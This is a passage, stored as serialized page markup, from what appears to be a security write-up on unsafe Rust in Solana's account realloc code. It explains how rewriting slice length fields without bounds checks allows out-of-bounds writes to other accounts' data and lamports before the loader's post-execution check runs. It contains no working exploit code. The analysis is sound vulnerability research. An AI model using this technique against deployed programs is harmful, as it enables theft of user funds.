",{"type":23,"tag":56,"props":14875,"children":14877},{"className":14876},[],[14878],{"type":28,"value":12619},{"type":23,"tag":24,"props":14880,"children":14881},{},[14882],{"type":28,"value":14883},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":494,"props":14885,"children":14886},{"className":1957,"code":13372,"language":1956,"meta":7,"style":7},[14887],{"type":23,"tag":56,"props":14888,"children":14889},{"__ignoreMap":7},[14890,14897,14984],{"type":23,"tag":504,"props":14891,"children":14892},{"class":506,"line":507},[14893],{"type":23,"tag":504,"props":14894,"children":14895},{"style":1106},[14896],{"type":28,"value":13384},{"type":23,"tag":504,"props":14898,"children":14899},{"class":506,"line":540},[14900,14904,14908,14912,14916,14920,14924,14928,14932,14936,14940,14944,14948,14952,14956,14960,14964,14968,14972,14976,14980],{"type":23,"tag":504,"props":14901,"children":14902},{"style":511},[14903],{"type":28,"value":10769},{"type":23,"tag":504,"props":14905,"children":14906},{"style":529},[14907],{"type":28,"value":12838},{"type":23,"tag":504,"props":14909,"children":14910},{"style":598},[14911],{"type":28,"value":648},{"type":23,"tag":504,"props":14913,"children":14914},{"style":511},[14915],{"type":28,"value":12778},{"type":23,"tag":504,"props":14917,"children":14918},{"style":598},[14919],{"type":28,"value":320},{"type":23,"tag":504,"props":14921,"children":14922},{"style":517},[14923],{"type":28,"value":12855},{"type":23,"tag":504,"props":14925,"children":14926},{"style":523},[14927],{"type":28,"value":12860},{"type":23,"tag":504,"props":14929,"children":14930},{"style":598},[14931],{"type":28,"value":2110},{"type":23,"tag":504,"props":14933,"children":14934},{"style":517},[14935],{"type":28,"value":12869},{"type":23,"tag":504,"props":14937,"children":14938},{"style":523},[14939],{"type":28,"value":12860},{"type":23,"tag":504,"props":14941,"children":14942},{"style":598},[14943],{"type":28,"value":320},{"type":23,"tag":504,"props":14945,"children":14946},{"style":517},[14947],{"type":28,"value":12882},{"type":23,"tag":504,"props":14949,"children":14950},{"style":523},[14951],{"type":28,"value":526},{"type":23,"tag":504,"props":14953,"children":14954},{"style":598},[14955],{"type":28,"value":3308},{"type":23,"tag":504,"props":14957,"children":14958},{"style":1440},[14959],{"type":28,"value":3055},{"type":23,"tag":504,"props":14961,"children":14962},{"style":523},[14963],{"type":28,"value":2064},{"type":23,"tag":504,"props":14965,"children":14966},{"style":511},[14967],{"type":28,"value":7825},{"type":23,"tag":504,"props":14969,"children":14970},{"style":598},[14971],{"type":28,"value":8797},{"type":23,"tag":504,"props":14973,"children":14974},{"style":511},[14975],{"type":28,"value":2701},{"type":23,"tag":504,"props":14977,"children":14978},{"style":1012},[14979],{"type":28,"value":4843},{"type":23,"tag":504,"props":14981,"children":14982},{"style":523},[14983],{"type":28,"value":866},{"type":23,"tag":504,"props":14985,"children":14986},{"class":506,"line":555},[14987,14991,14995,14999,15003,15007,15011],{"type":23,"tag":504,"props":14988,"children":14989},{"style":598},[14990],{"type":28,"value":3552},{"type":23,"tag":504,"props":14992,"children":14993},{"style":529},[14994],{"type":28,"value":12930},{"type":23,"tag":504,"props":14996,"children":14997},{"style":598},[14998],{"type":28,"value":648},{"type":23,"tag":504,"props":15000,"children":15001},{"style":529},[15002],{"type":28,"value":12939},{"type":23,"tag":504,"props":15004,"children":15005},{"style":511},[15006],{"type":28,"value":7811},{"type":23,"tag":504,"props":15008,"children":15009},{"style":1012},[15010],{"type":28,"value":4843},{"type":23,"tag":504,"props":15012,"children":15013},{"style":523},[15014],{"type":28,"value":866},{"type":23,"tag":24,"props":15016,"children":15017},{},[15018,15023,15025,15030,15032,15037,15039,15050,15052,15057,15059,15064],{"type":23,"tag":56,"props":15019,"children":15021},{"className":15020},[],[15022],{"type":28,"value":12855},{"type":28,"value":15024}," gives us the ",{"type":23,"tag":56,"props":15026,"children":15028},{"className":15027},[],[15029],{"type":28,"value":14443},{"type":28,"value":15031}," from the ",{"type":23,"tag":56,"props":15033,"children":15035},{"className":15034},[],[15036],{"type":28,"value":14317},{"type":28,"value":15038},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":92,"props":15040,"children":15043},{"href":15041,"rel":15042},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[96],[15044],{"type":23,"tag":56,"props":15045,"children":15047},{"className":15046},[],[15048],{"type":28,"value":15049},"slice::as_mut_ptr()",{"type":28,"value":15051}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":56,"props":15053,"children":15055},{"className":15054},[],[15056],{"type":28,"value":7025},{"type":28,"value":15058}," - behind the data buffer), and then writes ",{"type":23,"tag":56,"props":15060,"children":15062},{"className":15061},[],[15063],{"type":28,"value":12703},{"type":28,"value":15065}," to it.",{"type":23,"tag":24,"props":15067,"children":15068},{},[15069,15071,15083,15085,15091],{"type":28,"value":15070},"This is reasonable... ",{"type":23,"tag":1887,"props":15072,"children":15073},{},[15074,15076,15081],{"type":28,"value":15075},"as long as the ",{"type":23,"tag":56,"props":15077,"children":15079},{"className":15078},[],[15080],{"type":28,"value":2679},{"type":28,"value":15082}," actually came from the serialized buffer",{"type":28,"value":15084},". We'll come back to this ",{"type":23,"tag":92,"props":15086,"children":15088},{"href":15087},"#Not-contracts",[15089],{"type":28,"value":15090},"later",{"type":28,"value":320},{"type":23,"tag":24,"props":15093,"children":15094},{},[15095,15097,15102],{"type":28,"value":15096},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":56,"props":15098,"children":15100},{"className":15099},[],[15101],{"type":28,"value":14443},{"type":28,"value":15103}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":494,"props":15105,"children":15107},{"className":1957,"code":15106,"language":1956,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[15108],{"type":23,"tag":56,"props":15109,"children":15110},{"__ignoreMap":7},[15111,15119,15246],{"type":23,"tag":504,"props":15112,"children":15113},{"class":506,"line":507},[15114],{"type":23,"tag":504,"props":15115,"children":15116},{"style":1106},[15117],{"type":28,"value":15118},"// Then set the new length in the local slice\n",{"type":23,"tag":504,"props":15120,"children":15121},{"class":506,"line":540},[15122,15126,15130,15134,15138,15142,15146,15150,15154,15158,15162,15166,15170,15174,15178,15182,15186,15190,15194,15198,15202,15206,15210,15214,15218,15222,15226,15230,15234,15238,15242],{"type":23,"tag":504,"props":15123,"children":15124},{"style":511},[15125],{"type":28,"value":10769},{"type":23,"tag":504,"props":15127,"children":15128},{"style":529},[15129],{"type":28,"value":12838},{"type":23,"tag":504,"props":15131,"children":15132},{"style":598},[15133],{"type":28,"value":648},{"type":23,"tag":504,"props":15135,"children":15136},{"style":598},[15137],{"type":28,"value":6125},{"type":23,"tag":504,"props":15139,"children":15140},{"style":511},[15141],{"type":28,"value":2701},{"type":23,"tag":504,"props":15143,"children":15144},{"style":598},[15145],{"type":28,"value":8797},{"type":23,"tag":504,"props":15147,"children":15148},{"style":523},[15149],{"type":28,"value":12998},{"type":23,"tag":504,"props":15151,"children":15152},{"style":511},[15153],{"type":28,"value":12694},{"type":23,"tag":504,"props":15155,"children":15156},{"style":598},[15157],{"type":28,"value":320},{"type":23,"tag":504,"props":15159,"children":15160},{"style":523},[15161],{"type":28,"value":2679},{"type":23,"tag":504,"props":15163,"children":15164},{"style":598},[15165],{"type":28,"value":320},{"type":23,"tag":504,"props":15167,"children":15168},{"style":517},[15169],{"type":28,"value":13019},{"type":23,"tag":504,"props":15171,"children":15172},{"style":523},[15173],{"type":28,"value":13024},{"type":23,"tag":504,"props":15175,"children":15176},{"style":511},[15177],{"type":28,"value":7825},{"type":23,"tag":504,"props":15179,"children":15180},{"style":598},[15181],{"type":28,"value":8797},{"type":23,"tag":504,"props":15183,"children":15184},{"style":511},[15185],{"type":28,"value":8635},{"type":23,"tag":504,"props":15187,"children":15188},{"style":1012},[15189],{"type":28,"value":4843},{"type":23,"tag":504,"props":15191,"children":15192},{"style":523},[15193],{"type":28,"value":2105},{"type":23,"tag":504,"props":15195,"children":15196},{"style":598},[15197],{"type":28,"value":320},{"type":23,"tag":504,"props":15199,"children":15200},{"style":517},[15201],{"type":28,"value":12882},{"type":23,"tag":504,"props":15203,"children":15204},{"style":523},[15205],{"type":28,"value":526},{"type":23,"tag":504,"props":15207,"children":15208},{"style":1440},[15209],{"type":28,"value":2991},{"type":23,"tag":504,"props":15211,"children":15212},{"style":523},[15213],{"type":28,"value":2064},{"type":23,"tag":504,"props":15215,"children":15216},{"style":511},[15217],{"type":28,"value":7825},{"type":23,"tag":504,"props":15219,"children":15220},{"style":1012},[15221],{"type":28,"value":4843},{"type":23,"tag":504,"props":15223,"children":15224},{"style":523},[15225],{"type":28,"value":2064},{"type":23,"tag":504,"props":15227,"children":15228},{"style":511},[15229],{"type":28,"value":7825},{"type":23,"tag":504,"props":15231,"children":15232},{"style":598},[15233],{"type":28,"value":8797},{"type":23,"tag":504,"props":15235,"children":15236},{"style":511},[15237],{"type":28,"value":2701},{"type":23,"tag":504,"props":15239,"children":15240},{"style":1012},[15241],{"type":28,"value":4843},{"type":23,"tag":504,"props":15243,"children":15244},{"style":523},[15245],{"type":28,"value":630},{"type":23,"tag":504,"props":15247,"children":15248},{"class":506,"line":555},[15249,15253,15257,15261,15265,15269,15273],{"type":23,"tag":504,"props":15250,"children":15251},{"style":598},[15252],{"type":28,"value":3552},{"type":23,"tag":504,"props":15254,"children":15255},{"style":529},[15256],{"type":28,"value":12930},{"type":23,"tag":504,"props":15258,"children":15259},{"style":598},[15260],{"type":28,"value":648},{"type":23,"tag":504,"props":15262,"children":15263},{"style":529},[15264],{"type":28,"value":12939},{"type":23,"tag":504,"props":15266,"children":15267},{"style":511},[15268],{"type":28,"value":7811},{"type":23,"tag":504,"props":15270,"children":15271},{"style":1012},[15272],{"type":28,"value":4843},{"type":23,"tag":504,"props":15274,"children":15275},{"style":523},[15276],{"type":28,"value":866},{"type":23,"tag":24,"props":15278,"children":15279},{},[15280,15282,15288,15290,15301,15303,15309,15311,15317,15319,15324,15326,15331,15333,15343,15344,15351,15352,15359,15366,15368,15374,15376,15382,15384,15389,15391,15396,15398,15404,15406,15411],{"type":28,"value":15281},"That ",{"type":23,"tag":56,"props":15283,"children":15285},{"className":15284},[],[15286],{"type":28,"value":15287},"as_ptr()",{"type":28,"value":15289}," call is ",{"type":23,"tag":92,"props":15291,"children":15294},{"href":15292,"rel":15293},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[96],[15295],{"type":23,"tag":56,"props":15296,"children":15298},{"className":15297},[],[15299],{"type":28,"value":15300},"RefCell::as_ptr()",{"type":28,"value":15302}," due to the ",{"type":23,"tag":56,"props":15304,"children":15306},{"className":15305},[],[15307],{"type":28,"value":15308},"Deref",{"type":28,"value":15310}," impl on ",{"type":23,"tag":56,"props":15312,"children":15314},{"className":15313},[],[15315],{"type":28,"value":15316},"Rc",{"type":28,"value":15318}," (remember also that ",{"type":23,"tag":56,"props":15320,"children":15322},{"className":15321},[],[15323],{"type":28,"value":14484},{"type":28,"value":15325}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":1887,"props":15327,"children":15328},{},[15329],{"type":28,"value":15330},"get",{"type":28,"value":15332}," one through ",{"type":23,"tag":92,"props":15334,"children":15337},{"href":15335,"rel":15336},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[96],[15338],{"type":23,"tag":56,"props":15339,"children":15341},{"className":15340},[],[15342],{"type":28,"value":7785},{"type":28,"value":5441},{"type":23,"tag":92,"props":15345,"children":15348},{"href":15346,"rel":15347},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[96],[15349],{"type":28,"value":15350},"and",{"type":28,"value":5441},{"type":23,"tag":92,"props":15353,"children":15356},{"href":15354,"rel":15355},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[96],[15357],{"type":28,"value":15358},"frie",{"type":23,"tag":92,"props":15360,"children":15363},{"href":15361,"rel":15362},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[96],[15364],{"type":28,"value":15365},"nds",{"type":28,"value":15367},"). So from ",{"type":23,"tag":56,"props":15369,"children":15371},{"className":15370},[],[15372],{"type":28,"value":15373},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":28,"value":15375}," we get a ",{"type":23,"tag":56,"props":15377,"children":15379},{"className":15378},[],[15380],{"type":28,"value":15381},"*mut &mut [u8]",{"type":28,"value":15383}," - a ",{"type":23,"tag":1887,"props":15385,"children":15386},{},[15387],{"type":28,"value":15388},"pointer",{"type":28,"value":15390}," to the ",{"type":23,"tag":1887,"props":15392,"children":15393},{},[15394],{"type":28,"value":15395},"slice reference",{"type":28,"value":15397},". From here, we turn the pointer into a ",{"type":23,"tag":56,"props":15399,"children":15401},{"className":15400},[],[15402],{"type":28,"value":15403},"*const u64",{"type":28,"value":15405}," pointer and then offset by 1 ",{"type":23,"tag":56,"props":15407,"children":15409},{"className":15408},[],[15410],{"type":28,"value":7025},{"type":28,"value":15412}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":24,"props":15414,"children":15415},{},[15416,15418,15423,15425,15430,15432,15437,15439,15444,15446,15452],{"type":28,"value":15417},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":92,"props":15419,"children":15421},{"href":15420},"#Towards-safer-unsafe",[15422],{"type":28,"value":15090},{"type":28,"value":15424}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":56,"props":15426,"children":15428},{"className":15427},[],[15429],{"type":28,"value":7025},{"type":28,"value":15431}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":1887,"props":15433,"children":15434},{},[15435],{"type":28,"value":15436},"reference",{"type":28,"value":15438}," (the ",{"type":23,"tag":56,"props":15440,"children":15442},{"className":15441},[],[15443],{"type":28,"value":14443},{"type":28,"value":15445},").So, what does ",{"type":23,"tag":56,"props":15447,"children":15449},{"className":15448},[],[15450],{"type":28,"value":15451},"&[T]",{"type":28,"value":15453}," look like in Rust?",{"type":23,"tag":24,"props":15455,"children":15456},{},[15457,15459,15466,15468,15481,15483,15489],{"type":28,"value":15458},"According to ",{"type":23,"tag":92,"props":15460,"children":15463},{"href":15461,"rel":15462},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[96],[15464],{"type":28,"value":15465},"the reference",{"type":28,"value":15467},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":92,"props":15469,"children":15472},{"href":15470,"rel":15471},"https://doc.rust-lang.org/reference/type-layout.html",[96],[15473,15475,15479],{"type":28,"value":15474},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":504,"props":15476,"children":15477},{},[15478],{"type":28,"value":8572},{"type":28,"value":15480}," we only document what is guaranteed today\"",{"type":28,"value":15482},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":56,"props":15484,"children":15486},{"className":15485},[],[15487],{"type":28,"value":15488},"rustc",{"type":28,"value":15490},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":494,"props":15492,"children":15495},{"className":15493,"code":15494,"language":2124,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[15496],{"type":23,"tag":56,"props":15497,"children":15498},{"__ignoreMap":7},[15499,15507,15519,15536,15549],{"type":23,"tag":504,"props":15500,"children":15501},{"class":506,"line":507},[15502],{"type":23,"tag":504,"props":15503,"children":15504},{"style":1106},[15505],{"type":28,"value":15506},"// C language\n",{"type":23,"tag":504,"props":15508,"children":15509},{"class":506,"line":540},[15510,15514],{"type":23,"tag":504,"props":15511,"children":15512},{"style":511},[15513],{"type":28,"value":8383},{"type":23,"tag":504,"props":15515,"children":15516},{"style":523},[15517],{"type":28,"value":15518}," slice_ref {\n",{"type":23,"tag":504,"props":15520,"children":15521},{"class":506,"line":555},[15522,15527,15531],{"type":23,"tag":504,"props":15523,"children":15524},{"style":511},[15525],{"type":28,"value":15526},"    void",{"type":23,"tag":504,"props":15528,"children":15529},{"style":598},[15530],{"type":28,"value":3552},{"type":23,"tag":504,"props":15532,"children":15533},{"style":523},[15534],{"type":28,"value":15535}," ptr;\n",{"type":23,"tag":504,"props":15537,"children":15538},{"class":506,"line":633},[15539,15544],{"type":23,"tag":504,"props":15540,"children":15541},{"style":511},[15542],{"type":28,"value":15543},"    size_t",{"type":23,"tag":504,"props":15545,"children":15546},{"style":523},[15547],{"type":28,"value":15548}," len;\n",{"type":23,"tag":504,"props":15550,"children":15551},{"class":506,"line":687},[15552],{"type":23,"tag":504,"props":15553,"children":15554},{"style":523},[15555],{"type":28,"value":15556},"};\n",{"type":23,"tag":24,"props":15558,"children":15559},{},[15560],{"type":28,"value":15561},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":41,"props":15563,"children":15564},{},[15565,15570,15588],{"type":23,"tag":45,"props":15566,"children":15567},{},[15568],{"type":28,"value":15569},"Slices are laid out in the precise manner described",{"type":23,"tag":45,"props":15571,"children":15572},{},[15573,15575,15581,15583],{"type":28,"value":15574},"Pointers and ",{"type":23,"tag":56,"props":15576,"children":15578},{"className":15577},[],[15579],{"type":28,"value":15580},"usize",{"type":28,"value":15582}," are the same width as ",{"type":23,"tag":56,"props":15584,"children":15586},{"className":15585},[],[15587],{"type":28,"value":7025},{"type":23,"tag":45,"props":15589,"children":15590},{},[15591,15593,15598],{"type":28,"value":15592},"The ",{"type":23,"tag":56,"props":15594,"children":15596},{"className":15595},[],[15597],{"type":28,"value":14484},{"type":28,"value":15599}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":24,"props":15601,"children":15602},{},[15603,15605,15610,15612,15618,15620,15625,15627,15633,15635,15640,15642,15652],{"type":28,"value":15604},"Assumption #2 is ",{"type":23,"tag":1887,"props":15606,"children":15607},{},[15608],{"type":28,"value":15609},"probably",{"type":28,"value":15611}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":56,"props":15613,"children":15615},{"className":15614},[],[15616],{"type":28,"value":15617},"borrow_mut",{"type":28,"value":15619}," of the ",{"type":23,"tag":56,"props":15621,"children":15623},{"className":15622},[],[15624],{"type":28,"value":14484},{"type":28,"value":15626}," (through ",{"type":23,"tag":56,"props":15628,"children":15630},{"className":15629},[],[15631],{"type":28,"value":15632},"AccountInfo::try_borrow_mut_data()",{"type":28,"value":15634},"), and ",{"type":23,"tag":56,"props":15636,"children":15638},{"className":15637},[],[15639],{"type":28,"value":14484},{"type":28,"value":15641}," is not usable between multiple threads",{"type":23,"tag":14454,"props":15643,"children":15644},{},[15645],{"type":23,"tag":92,"props":15646,"children":15650},{"href":15647,"ariaDescribedBy":15648,"dataFootnoteRef":7,"id":15649},"#user-content-fn-sendsync",[14461],"user-content-fnref-sendsync",[15651],{"type":28,"value":2100},{"type":28,"value":15653},", so we already have exclusive access.",{"type":23,"tag":24,"props":15655,"children":15656},{},[15657,15659,15663],{"type":28,"value":15658},"A few more ",{"type":23,"tag":1887,"props":15660,"children":15661},{},[15662],{"type":28,"value":6091},{"type":28,"value":15664}," things of note, that could have gone badly but didn't:",{"type":23,"tag":350,"props":15666,"children":15667},{},[15668,15710],{"type":23,"tag":45,"props":15669,"children":15670},{},[15671,15673,15679,15681,15686,15688,15693,15695,15700,15702,15708],{"type":28,"value":15672},"By reborrowing the pointer (the ",{"type":23,"tag":56,"props":15674,"children":15676},{"className":15675},[],[15677],{"type":28,"value":15678},"&mut *(\u003Cvalue of type *mut u64>)",{"type":28,"value":15680},"), we've created a reference with an ",{"type":23,"tag":1887,"props":15682,"children":15683},{},[15684],{"type":28,"value":15685},"unbounded lifetime",{"type":28,"value":15687},". Rust is free to infer ",{"type":23,"tag":1887,"props":15689,"children":15690},{},[15691],{"type":28,"value":15692},"any",{"type":28,"value":15694}," lifetime for ",{"type":23,"tag":56,"props":15696,"children":15698},{"className":15697},[],[15699],{"type":28,"value":12930},{"type":28,"value":15701}," (including ",{"type":23,"tag":56,"props":15703,"children":15705},{"className":15704},[],[15706],{"type":28,"value":15707},"'static",{"type":28,"value":15709},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":45,"props":15711,"children":15712},{},[15713,15715,15721,15723,15728,15730,15735,15737,15742,15744,15749,15751,15756,15758,15763,15765,15771,15773,15778,15780,15785,15787,15792,15794,15799,15801,15806],{"type":28,"value":15714},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":56,"props":15716,"children":15718},{"className":15717},[],[15719],{"type":28,"value":15720},"RefMut",{"type":28,"value":15722}," returned from ",{"type":23,"tag":56,"props":15724,"children":15726},{"className":15725},[],[15727],{"type":28,"value":12855},{"type":28,"value":15729},", but the ",{"type":23,"tag":56,"props":15731,"children":15733},{"className":15732},[],[15734],{"type":28,"value":15720},{"type":28,"value":15736}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":56,"props":15738,"children":15740},{"className":15739},[],[15741],{"type":28,"value":12930},{"type":28,"value":15743}," a ",{"type":23,"tag":1887,"props":15745,"children":15746},{},[15747],{"type":28,"value":15748},"mutable",{"type":28,"value":15750}," pointer to the ",{"type":23,"tag":56,"props":15752,"children":15754},{"className":15753},[],[15755],{"type":28,"value":14484},{"type":28,"value":15757},"'s data, but the ",{"type":23,"tag":56,"props":15759,"children":15761},{"className":15760},[],[15762],{"type":28,"value":14484},{"type":28,"value":15764}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":56,"props":15766,"children":15768},{"className":15767},[],[15769],{"type":28,"value":15770},"Mutex",{"type":28,"value":15772}," instead of a ",{"type":23,"tag":56,"props":15774,"children":15776},{"className":15775},[],[15777],{"type":28,"value":14484},{"type":28,"value":15779}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":56,"props":15781,"children":15783},{"className":15782},[],[15784],{"type":28,"value":12930},{"type":28,"value":15786}," and writing to it ",{"type":23,"tag":1887,"props":15788,"children":15789},{},[15790],{"type":28,"value":15791},"and succeed",{"type":28,"value":15793},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":56,"props":15795,"children":15797},{"className":15796},[],[15798],{"type":28,"value":12930},{"type":28,"value":15800}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":56,"props":15802,"children":15804},{"className":15803},[],[15805],{"type":28,"value":2679},{"type":28,"value":15807}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":24,"props":15809,"children":15810},{},[15811,15813,15818],{"type":28,"value":15812},"Ok, now that we've understood what the code is ",{"type":23,"tag":1887,"props":15814,"children":15815},{},[15816],{"type":28,"value":15817},"trying",{"type":28,"value":15819}," to do, let's try to break it, shall we?",{"type":23,"tag":70,"props":15821,"children":15823},{"id":15822},"what-can-go-wrong",[15824],{"type":28,"value":15825},"What can go wrong?",{"type":23,"tag":82,"props":15827,"children":15829},{"id":15828},"contracts",[15830],{"type":28,"value":15831},"Contracts",{"type":23,"tag":24,"props":15833,"children":15834},{},[15835,15837,15842,15844,15849,15851,15856,15858,15863],{"type":28,"value":15836},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":56,"props":15838,"children":15840},{"className":15839},[],[15841],{"type":28,"value":12619},{"type":28,"value":15843},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":56,"props":15845,"children":15847},{"className":15846},[],[15848],{"type":28,"value":12619},{"type":28,"value":15850}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":56,"props":15852,"children":15854},{"className":15853},[],[15855],{"type":28,"value":14273},{"type":28,"value":15857}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":56,"props":15859,"children":15861},{"className":15860},[],[15862],{"type":28,"value":2679},{"type":28,"value":15864}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":24,"props":15866,"children":15867},{},[15868,15870,15877],{"type":28,"value":15869},"There is ",{"type":23,"tag":92,"props":15871,"children":15874},{"href":15872,"rel":15873},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[96],[15875],{"type":28,"value":15876},"a check",{"type":28,"value":15878}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":494,"props":15880,"children":15882},{"className":1957,"code":15881,"language":1956,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[15883],{"type":23,"tag":56,"props":15884,"children":15885},{"__ignoreMap":7},[15886,15924,15954,15961,15994],{"type":23,"tag":504,"props":15887,"children":15888},{"class":506,"line":507},[15889,15893,15898,15902,15906,15910,15914,15919],{"type":23,"tag":504,"props":15890,"children":15891},{"style":544},[15892],{"type":28,"value":14560},{"type":23,"tag":504,"props":15894,"children":15895},{"style":529},[15896],{"type":28,"value":15897}," post_len",{"type":23,"tag":504,"props":15899,"children":15900},{"style":598},[15901],{"type":28,"value":320},{"type":23,"tag":504,"props":15903,"children":15904},{"style":517},[15905],{"type":28,"value":13273},{"type":23,"tag":504,"props":15907,"children":15908},{"style":523},[15909],{"type":28,"value":526},{"type":23,"tag":504,"props":15911,"children":15912},{"style":598},[15913],{"type":28,"value":3552},{"type":23,"tag":504,"props":15915,"children":15916},{"style":529},[15917],{"type":28,"value":15918},"pre_len",{"type":23,"tag":504,"props":15920,"children":15921},{"style":523},[15922],{"type":28,"value":15923},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":504,"props":15925,"children":15926},{"class":506,"line":540},[15927,15932,15936,15940,15945,15949],{"type":23,"tag":504,"props":15928,"children":15929},{"style":598},[15930],{"type":28,"value":15931},"    ||",{"type":23,"tag":504,"props":15933,"children":15934},{"style":529},[15935],{"type":28,"value":15897},{"type":23,"tag":504,"props":15937,"children":15938},{"style":598},[15939],{"type":28,"value":13175},{"type":23,"tag":504,"props":15941,"children":15942},{"style":523},[15943],{"type":28,"value":15944}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":504,"props":15946,"children":15947},{"style":511},[15948],{"type":28,"value":7825},{"type":23,"tag":504,"props":15950,"children":15951},{"style":1012},[15952],{"type":28,"value":15953}," usize\n",{"type":23,"tag":504,"props":15955,"children":15956},{"class":506,"line":555},[15957],{"type":23,"tag":504,"props":15958,"children":15959},{"style":523},[15960],{"type":28,"value":9862},{"type":23,"tag":504,"props":15962,"children":15963},{"class":506,"line":633},[15964,15969,15973,15977,15981,15985,15990],{"type":23,"tag":504,"props":15965,"children":15966},{"style":544},[15967],{"type":28,"value":15968},"    return",{"type":23,"tag":504,"props":15970,"children":15971},{"style":1012},[15972],{"type":28,"value":14728},{"type":23,"tag":504,"props":15974,"children":15975},{"style":523},[15976],{"type":28,"value":526},{"type":23,"tag":504,"props":15978,"children":15979},{"style":1012},[15980],{"type":28,"value":14737},{"type":23,"tag":504,"props":15982,"children":15983},{"style":598},[15984],{"type":28,"value":2457},{"type":23,"tag":504,"props":15986,"children":15987},{"style":1012},[15988],{"type":28,"value":15989},"InvalidRealloc",{"type":23,"tag":504,"props":15991,"children":15992},{"style":523},[15993],{"type":28,"value":630},{"type":23,"tag":504,"props":15995,"children":15996},{"class":506,"line":687},[15997],{"type":23,"tag":504,"props":15998,"children":15999},{"style":523},[16000],{"type":28,"value":884},{"type":23,"tag":24,"props":16002,"children":16003},{},[16004,16006,16011,16013,16018],{"type":28,"value":16005},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":1887,"props":16007,"children":16008},{},[16009],{"type":28,"value":16010},"finishes",{"type":28,"value":16012}," execution. ",{"type":23,"tag":1887,"props":16014,"children":16015},{},[16016],{"type":28,"value":16017},"During",{"type":28,"value":16019}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":24,"props":16021,"children":16022},{},[16023,16025,16030,16032,16037,16039,16046],{"type":28,"value":16024},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":1887,"props":16026,"children":16027},{},[16028],{"type":28,"value":16029},"arbitrary",{"type":28,"value":16031}," memory access through a mistakenly-",{"type":23,"tag":56,"props":16033,"children":16035},{"className":16034},[],[16036],{"type":28,"value":12619},{"type":28,"value":16038},"'d account, this falls in the relm of some ",{"type":23,"tag":92,"props":16040,"children":16043},{"href":16041,"rel":16042},"https://en.wikipedia.org/wiki/Buffer_overflow",[96],[16044],{"type":28,"value":16045},"old-school pwning",{"type":28,"value":16047}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of 